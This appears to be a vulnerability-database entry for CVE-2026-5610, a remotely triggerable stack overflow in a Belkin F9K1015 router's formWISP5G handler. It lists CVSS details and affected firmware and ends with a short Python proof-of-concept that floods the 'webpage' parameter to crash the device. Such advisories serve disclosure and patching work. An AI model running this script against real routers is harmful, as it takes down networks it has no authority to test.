Security Vulnerability Report
中文
CVE-2026-5610 CVSS 8.8 HIGH

CVE-2026-5610

Published: 2026-04-06 02:16:01
Last Modified: 2026-04-30 13:47:10

Description

A vulnerability has been found in Belkin F9K1015 1.00.10. Affected by this issue is the function formWISP5G of the file /goform/formWISP5G. Such manipulation of the argument webpage leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:belkin:f9k1015_firmware:1.00.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:belkin:f9k1015:-:*:*:*:*:*:*:* - NOT VULNERABLE
Belkin F9K1015 1.00.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_ip): """ Proof of Concept for CVE-2026-5610 Sends a large payload to the 'webpage' parameter to trigger stack overflow. """ url = f"http://{target_ip}/goform/formWISP5G" # Payload designed to overflow the stack buffer # Adjust length based on specific buffer size analysis overflow_payload = "A" * 1000 data = { "webpage": overflow_payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) # If the device crashes, we might not get a response or get an error print(f"[+] Status Code: {response.status_code}") print("[+] Payload sent. Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"[!] Device likely crashed or unreachable: {e}") if __name__ == "__main__": target = "192.168.2.1" # Replace with target IP check_vulnerability(target)

References

Raw JSON Data

JSON
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